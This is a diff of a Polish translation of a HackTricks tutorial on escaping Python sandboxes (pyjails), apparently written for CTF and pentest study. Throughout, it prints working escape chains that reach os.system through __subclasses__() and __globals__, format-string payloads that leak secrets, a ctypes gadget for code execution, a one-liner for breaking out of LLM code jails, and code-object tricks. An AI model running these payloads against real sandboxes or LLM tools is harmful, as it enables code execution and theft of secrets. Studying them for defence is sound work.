['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
```
|
||||
Jest ich wiele, a **wystarczy tylko jedno**, aby wykonać polecenia:
|
||||
Jest ich wiele, a **wystarczy nam jedna**, aby wykonać polecenia:
|
||||
```python
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
```
|
||||
Możemy zrobić to samo z **innymi bibliotekami**, o których wiemy, że można je użyć do **wykonywania poleceń**:
|
||||
Możemy zrobić to samo z **innymi bibliotekami**, o których wiemy, że mogą być użyte do **wykonywania poleceń**:
|
||||
```python
|
||||
#os
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
||||
@ -492,7 +492,7 @@ Możemy zrobić to samo z **innymi bibliotekami**, o których wiemy, że można
|
||||
#pdb
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
|
||||
```
|
||||
Co więcej, moglibyśmy nawet sprawdzić, które moduły ładują złośliwe biblioteki:
|
||||
Co więcej, możemy nawet wyszukać, które moduły ładują złośliwe biblioteki:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
for b in bad_libraries_names:
|
||||
@ -511,7 +511,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
|
||||
pdb:
|
||||
"""
|
||||
```
|
||||
Co więcej, jeśli uważasz, że **inne biblioteki** mogą być w stanie **wywoływać funkcje do wykonywania poleceń**, możemy również **filtrować po nazwach funkcji** w obrębie potencjalnych bibliotek:
|
||||
Co więcej, jeśli uważasz, że **inne biblioteki** mogą być w stanie **wywoływać funkcje wykonujące polecenia**, możemy także **filtrować według nazw funkcji** w obrębie możliwych bibliotek:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
||||
@ -544,10 +544,10 @@ execute:
|
||||
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
||||
"""
|
||||
```
|
||||
## Rekurencyjne wyszukiwanie Builtins, Globals...
|
||||
## Rekurencyjne wyszukiwanie builtins, globals...
|
||||
|
||||
> [!WARNING]
|
||||
> To jest po prostu **niesamowite**. Jeśli **szukasz obiektu takiego jak globals, builtins, open lub cokolwiek** po prostu użyj tego skryptu, aby **rekurencyjnie znaleźć miejsca, w których możesz znaleźć ten obiekt.**
|
||||
> To jest po prostu **niesamowite**. Jeśli szukasz **obiektu takiego jak globals, builtins, open lub czegokolwiek innego** po prostu użyj tego skryptu, aby **rekurencyjnie znaleźć miejsca, w których możesz znaleźć ten obiekt.**
|
||||
```python
|
||||
import os, sys # Import these to find more gadgets
|
||||
|
||||
@ -663,7 +663,7 @@ print(SEARCH_FOR)
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
Możesz sprawdzić wynik tego skryptu na tej stronie:
|
||||
You can check the output of this script on this page:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -672,7 +672,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-
|
||||
|
||||
## Python Format String
|
||||
|
||||
Jeśli **wyślesz** **string** do python, który będzie **formatowany**, możesz użyć `{}` aby uzyskać dostęp do **python internal information.** Możesz użyć poprzednich przykładów, aby uzyskać dostęp do globals lub builtins na przykład.
|
||||
Jeśli **wyślesz** **string** do python, który zostanie **sformatowany**, możesz użyć `{}` aby uzyskać dostęp do **wewnętrznych informacji pythona.** Możesz użyć poprzednich przykładów, aby uzyskać dostęp do globals lub builtins, na przykład.
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
CONFIG = {
|
||||
@ -692,16 +692,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Zwróć uwagę, jak możesz **uzyskać dostęp do atrybutów** w normalny sposób za pomocą **kropki** jak `people_obj.__init__` oraz **elementu dict** za pomocą **nawiasów** bez cudzysłowów `__globals__[CONFIG]`
|
||||
Zauważ, że możesz **uzyskać dostęp do atrybutów** w zwykły sposób przy pomocy **kropki** jak `people_obj.__init__` oraz do **elementu dict** za pomocą **nawiasów** bez cudzysłowów `__globals__[CONFIG]`
|
||||
|
||||
Zwróć też uwagę, że możesz użyć `.__dict__`, aby wyliczyć elementy obiektu `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
Zauważ też, że możesz użyć `.__dict__` do wylistowania elementów obiektu `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
Inną ciekawą cechą format strings jest możliwość **wywoływania** **funkcji** **`str`**, **`repr`** i **`ascii`** na wskazanym obiekcie przez dodanie odpowiednio **`!s`**, **`!r`**, **`!a`**:
|
||||
Inną ciekawą cechą format stringów jest możliwość wykonania funkcji `str`, `repr` i `ascii` na wskazanym obiekcie przez dodanie odpowiednio `!s`, `!r`, `!a`:
|
||||
```python
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Co więcej, możliwe jest **zaimplementowanie nowych formatterów** w klasach:
|
||||
Co więcej, możliwe jest **napisać nowe formattery** w klasach:
|
||||
```python
|
||||
class HAL9000(object):
|
||||
def __format__(self, format):
|
||||
@ -715,7 +715,7 @@ return 'HAL 9000'
|
||||
**Więcej przykładów** dotyczących **format** **string** można znaleźć na [**https://pyformat.info/**](https://pyformat.info)
|
||||
|
||||
> [!CAUTION]
|
||||
> Sprawdź także następującą stronę z gadgets, które będą r**ead sensitive information from Python internal objects**:
|
||||
> Sprawdź także następującą stronę dotyczącą gadgets, które będą r**ead sensitive information from Python internal objects**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -740,20 +740,20 @@ str(x) # Out: clueless
|
||||
```
|
||||
### LLM Jails bypass
|
||||
|
||||
From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||||
Z [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||||
|
||||
### From format to RCE loading libraries
|
||||
### Od format string do RCE przez ładowanie bibliotek
|
||||
|
||||
Zgodnie z [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) można załadować dowolne biblioteki z dysku, wykorzystując format string vulnerability w python.
|
||||
Zgodnie z [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) możliwe jest załadowanie dowolnych bibliotek z dysku, wykorzystując format string vulnerability w python.
|
||||
|
||||
Dla przypomnienia, za każdym razem gdy w python wykonywana jest jakaś operacja, wywoływana jest pewna funkcja. Na przykład `2*3` wykona **`(2).mul(3)`** lub **`{'a':'b'}['a']`** będzie **`{'a':'b'}.__getitem__('a')`**.
|
||||
Dla przypomnienia, za każdym razem gdy w python wykonywana jest jakaś operacja, uruchamiana jest pewna funkcja. Na przykład `2*3` wykona **`(2).mul(3)`** albo **`{'a':'b'}['a']`** wykona **`{'a':'b'}.__getitem__('a')`**.
|
||||
|
||||
Więcej takich przykładów znajdziesz w sekcji [**Python execution without calls**](#python-execution-without-calls).
|
||||
Więcej podobnych przykładów znajdziesz w sekcji [**Python execution without calls**](#python-execution-without-calls).
|
||||
|
||||
A python format string vuln nie pozwala na wykonanie funkcji (nie pozwala użyć nawiasów), więc nie da się uzyskać RCE w stylu `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
Jednak możliwe jest użycie `[]`. Dlatego, jeśli popularna biblioteka python ma metodę **`__getitem__`** lub **`__getattr__`**, która wykonuje arbitralny kod, można je wykorzystać do uzyskania RCE.
|
||||
Python format string vuln nie pozwala na wykonanie funkcji (nie pozwala na użycie nawiasów), więc nie można uzyskać RCE jak `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
Jednak można użyć `[]`. Zatem jeśli popularna biblioteka python ma metodę **`__getitem__`** lub **`__getattr__`** która wykonuje dowolny kod, można je wykorzystać do uzyskania RCE.
|
||||
|
||||
Szukając takiego gadget w python, autor writeupu proponuje to [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Tam znalazł ten [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||
Szukając takiego gadgetu w pythonie, autor writeupu proponuje to [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Tam znalazł ten [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||
```python
|
||||
class LibraryLoader(object):
|
||||
def __init__(self, dlltype):
|
||||
@ -775,20 +775,20 @@ return getattr(self, name)
|
||||
cdll = LibraryLoader(CDLL)
|
||||
pydll = LibraryLoader(PyDLL)
|
||||
```
|
||||
Ten gadget umożliwia **załadowanie biblioteki z dysku**. W związku z tym konieczne jest w jakiś sposób **zapisanie lub przesłanie biblioteki do załadowania** poprawnie skompilowanej dla atakowanego serwera.
|
||||
Ten gadget umożliwia **załadowanie biblioteki z dysku**. Dlatego należy w jakiś sposób **zapisać lub przesłać bibliotekę, która ma zostać załadowana** poprawnie skompilowaną dla atakowanego serwera.
|
||||
```python
|
||||
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
||||
```
|
||||
Zadanie w rzeczywistości wykorzystuje inną lukę w serwerze, która pozwala tworzyć dowolne pliki na dysku serwera.
|
||||
Zadanie w rzeczywistości wykorzystuje inną podatność w serwerze, która pozwala tworzyć dowolne pliki na dysku serwera.
|
||||
|
||||
## Analiza obiektów Pythona
|
||||
|
||||
> [!TIP]
|
||||
> Jeśli chcesz **dowiedzieć się** o **python bytecode** dogłębnie, przeczytaj ten **świetny** artykuł na ten temat: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
> Jeśli chcesz **dowiedzieć się** dogłębnie o **python bytecode**, przeczytaj ten **świetny** wpis na ten temat: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
|
||||
W niektórych CTFs możesz otrzymać nazwę **custom function where the flag** i musisz zajrzeć do **internals** tej **function**, aby ją wyodrębnić.
|
||||
W niektórych CTFs możesz otrzymać nazwę **custom function where the flag** i musisz zobaczyć **internals** danej **function**, żeby ją wydobyć.
|
||||
|
||||
Oto the function do zbadania:
|
||||
Oto funkcja do zbadania:
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -806,9 +806,9 @@ dir() #General dir() to find what we have loaded
|
||||
dir(get_flag) #Get info tof the function
|
||||
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
|
||||
```
|
||||
#### globals
|
||||
#### zmienne globalne
|
||||
|
||||
`__globals__` and `func_globals`(To samo) Pobiera globalne środowisko. W przykładzie można zobaczyć niektóre zaimportowane moduły, kilka zmiennych globalnych oraz ich zadeklarowane wartości:
|
||||
`__globals__` and `func_globals` (To samo) Pobiera środowisko globalne. W przykładzie widać niektóre zaimportowane moduły, niektóre zmienne globalne oraz ich zawartość:
|
||||
```python
|
||||
get_flag.func_globals
|
||||
get_flag.__globals__
|
||||
@ -821,7 +821,7 @@ CustomClassObject.__class__.__init__.__globals__
|
||||
|
||||
### **Dostęp do kodu funkcji**
|
||||
|
||||
**`__code__`** and `func_code`: Możesz **uzyskać dostęp** do tego **atrybutu** funkcji, aby **otrzymać obiekt kodu** tej funkcji.
|
||||
**`__code__`** i `func_code`: Możesz **uzyskać dostęp** do tego **atrybutu** funkcji, aby **pobrać obiekt kodu** tej funkcji.
|
||||
```python
|
||||
# In our current example
|
||||
get_flag.__code__
|
||||
@ -881,7 +881,7 @@ get_flag.__code__.co_freevars
|
||||
get_flag.__code__.co_code
|
||||
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
|
||||
```
|
||||
### **Dezasemblacja funkcji**
|
||||
### **Dysasemblacja funkcji**
|
||||
```python
|
||||
import dis
|
||||
dis.dis(get_flag)
|
||||
@ -909,7 +909,7 @@ dis.dis(get_flag)
|
||||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
Zauważ, że **jeśli nie możesz zaimportować `dis` w python sandbox** możesz uzyskać **bytecode** funkcji (`get_flag.func_code.co_code`) i **disassemble** go lokalnie. Nie zobaczysz zawartości zmiennych ładowanych (`LOAD_CONST`), ale możesz je odgadnąć z (`get_flag.func_code.co_consts`), ponieważ `LOAD_CONST` również podaje offset ładowanej zmiennej.
|
||||
Zauważ, że **jeśli nie możesz zaimportować `dis` w python sandbox** możesz uzyskać **bytecode** funkcji (`get_flag.func_code.co_code`) i **disassemble** ją lokalnie. Nie zobaczysz zawartości ładowanych zmiennych (`LOAD_CONST`), ale możesz je odgadnąć z (`get_flag.func_code.co_consts`), ponieważ `LOAD_CONST` także podaje offset ładowanej zmiennej.
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
@ -931,10 +931,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
||||
44 LOAD_CONST 0 (0)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
## Kompilowanie Pythona
|
||||
## Kompilacja Python
|
||||
|
||||
Teraz wyobraźmy sobie, że w pewien sposób możesz **dump the information about a function that you cannot execute**, ale **musisz** ją **wykonać**.\
|
||||
Tak jak w poniższym przykładzie, możesz **uzyskać dostęp do code object** tej funkcji, ale tylko czytając disassemble nie **wiesz jak obliczyć flagę** (_wyobraź sobie bardziej złożoną funkcję `calc_flag`_)
|
||||
Teraz wyobraźmy sobie, że w jakiś sposób możesz **zrzucić informacje o funkcji, której nie możesz uruchomić**, ale musisz ją **uruchomić**.\
|
||||
Jak w poniższym przykładzie, możesz **uzyskać dostęp do code object** tej funkcji, ale samo czytanie disassemble nie pozwala ci **obliczyć flag** (_wyobraź sobie bardziej złożoną funkcję `calc_flag`_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -949,7 +949,7 @@ return "Nope"
|
||||
```
|
||||
### Tworzenie code object
|
||||
|
||||
Po pierwsze, musimy wiedzieć **jak stworzyć i wykonać code object**, abyśmy mogli stworzyć jeden do wykonania naszej funkcji leaked:
|
||||
Po pierwsze, musimy wiedzieć **jak utworzyć i uruchomić code object**, abyśmy mogli stworzyć jeden do wykonania naszej funkcji leaked:
|
||||
```python
|
||||
code_type = type((lambda: None).__code__)
|
||||
# Check the following hint if you get an error in calling this
|
||||
@ -969,7 +969,7 @@ mydict['__builtins__'] = __builtins__
|
||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
> [!TIP]
|
||||
> W zależności od wersji Pythona kolejność **parametrów** `code_type` może być **inna**. Najlepszym sposobem, aby poznać kolejność parametrów w wersji Pythona, której używasz, jest uruchomienie:
|
||||
> W zależności od wersji python **parametry** `code_type` mogą mieć **inny porządek**. Najlepszym sposobem, by poznać porządek parametrów w wersji python, którą uruchamiasz, jest uruchomienie:
|
||||
>
|
||||
> ```
|
||||
> import types
|
||||
@ -977,10 +977,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
|
||||
> ```
|
||||
|
||||
### Odtwarzanie leaked function
|
||||
### Odtworzenie leaked funkcji
|
||||
|
||||
> [!WARNING]
|
||||
> W poniższym przykładzie pobierzemy wszystkie dane potrzebne do odtworzenia function bezpośrednio z function code object. W **prawdziwym przykładzie** wszystkie **wartości** potrzebne do uruchomienia function **`code_type`** to, co **będziesz musiał leak**.
|
||||
> W poniższym przykładzie pobierzemy wszystkie dane potrzebne do odtworzenia funkcji bezpośrednio z function code object. W **prawdziwym przykładzie** wszystkie **wartości** potrzebne do wykonania funkcji **`code_type`** to te, które **będziesz musiał leak**.
|
||||
```python
|
||||
fc = get_flag.__code__
|
||||
# In a real situation the values like fc.co_argcount are the ones you need to leak
|
||||
@ -993,10 +993,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
### Omijanie zabezpieczeń
|
||||
|
||||
W poprzednich przykładach na początku tego wpisu możesz zobaczyć **jak wykonać dowolny kod python używając funkcji `compile`**. Jest to interesujące, ponieważ możesz **wykonywać całe skrypty** z pętlami i wszystkim w **jednej linii** (i moglibyśmy zrobić to samo używając **`exec`**).\
|
||||
Czasami jednak przydatne może być **utworzenie** **obiektu skompilowanego** na maszynie lokalnej i jego wykonanie w **CTF machine** (na przykład dlatego, że nie mamy funkcji `compiled` w CTF).
|
||||
W poprzednich przykładach na początku tego wpisu możesz zobaczyć **jak wykonać dowolny kod python używając funkcji `compile`**. To interesujące, ponieważ możesz **wykonywać całe skrypty** z pętlami i wszystkim w **jednej linii** (i moglibyśmy zrobić to samo używając **`exec`**).\
|
||||
W każdym razie, czasami może być przydatne **utworzyć** **obiekt skompilowany** na maszynie lokalnej i wykonać go na **CTF machine** (na przykład dlatego, że nie mamy funkcji `compiled` na CTF).
|
||||
|
||||
Na przykład, skompilujmy i ręcznie wykonajmy funkcję, która czyta _./poc.py_:
|
||||
Na przykład, skompilujmy i wykonajmy ręcznie funkcję, która czyta _./poc.py_:
|
||||
```python
|
||||
#Locally
|
||||
def read():
|
||||
@ -1023,7 +1023,7 @@ mydict['__builtins__'] = __builtins__
|
||||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
Jeśli nie masz dostępu do `eval` lub `exec`, możesz stworzyć **właściwą funkcję**, ale wywołanie jej bezpośrednio zazwyczaj zakończy się niepowodzeniem z komunikatem: _konstruktor niedostępny w trybie ograniczonym_. Dlatego potrzebujesz **funkcji spoza ograniczonego środowiska, która wywoła tę funkcję.**
|
||||
Jeśli nie możesz uzyskać dostępu do `eval` lub `exec`, możesz stworzyć **właściwą funkcję**, ale wywołanie jej bezpośrednio zwykle zakończy się niepowodzeniem z komunikatem: _constructor not accessible in restricted mode_. Dlatego potrzebujesz **funkcji spoza ograniczonego środowiska, która wywoła tę funkcję.**
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
@ -1031,22 +1031,22 @@ ctype = type((lambda: None).func_code)
|
||||
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
|
||||
f(42)
|
||||
```
|
||||
## Decompiling Compiled Python
|
||||
## Decompilacja skompilowanego Pythona
|
||||
|
||||
Używając narzędzi takich jak [**https://www.decompiler.com/**](https://www.decompiler.com) można **decompile** podany skompilowany kod python.
|
||||
Używając narzędzi takich jak [**https://www.decompiler.com/**](https://www.decompiler.com) można **dekompilować** dany skompilowany kod python.
|
||||
|
||||
**Zobacz ten samouczek**:
|
||||
**Sprawdź ten samouczek**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
|
||||
{{#endref}}
|
||||
|
||||
## Misc Python
|
||||
## Różne (Python)
|
||||
|
||||
### Assert
|
||||
|
||||
Python uruchamiany z optymalizacjami przy parametrze `-O` usunie asset statements oraz każdy kod zależny warunkowo od wartości **debug**.\
|
||||
Python uruchamiany z optymalizacjami przy użyciu parametru `-O` usunie assert statements oraz każdy kod warunkowy zależny od wartości **debug**.\
|
||||
Dlatego sprawdzenia takie jak
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
@ -1056,9 +1056,9 @@ print("\nYou are a super user\n")
|
||||
except AssertionError:
|
||||
print(f"\nNot a Super User!!!\n")
|
||||
```
|
||||
zostanie ominięte
|
||||
zostanie ominięty
|
||||
|
||||
## Źródła
|
||||
## Referencje
|
||||
|
||||
- [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
|
||||
- [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/)
|
||||
|
||||
@ -1,836 +0,0 @@
|
||||
# macOS IPC - Inter Process Communication
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Mach messaging via Ports
|
||||
|
||||
### Basic Information
|
||||
|
||||
Mach używa **zadań** jako **najmniejszej jednostki** do dzielenia zasobów, a każde zadanie może zawierać **wiele wątków**. Te **zadania i wątki są mapowane 1:1 na procesy i wątki POSIX**.
|
||||
|
||||
Komunikacja między zadaniami odbywa się za pomocą Mach Inter-Process Communication (IPC), wykorzystując jednokierunkowe kanały komunikacyjne. **Wiadomości są przesyłane między portami**, które działają jak **kolejki wiadomości** zarządzane przez jądro.
|
||||
|
||||
Każdy proces ma **tabelę IPC**, w której można znaleźć **porty mach procesu**. Nazwa portu mach to tak naprawdę liczba (wskaźnik do obiektu jądra).
|
||||
|
||||
Proces może również wysłać nazwę portu z pewnymi prawami **do innego zadania**, a jądro sprawi, że ten wpis w **tabeli IPC innego zadania** się pojawi.
|
||||
|
||||
### Port Rights
|
||||
|
||||
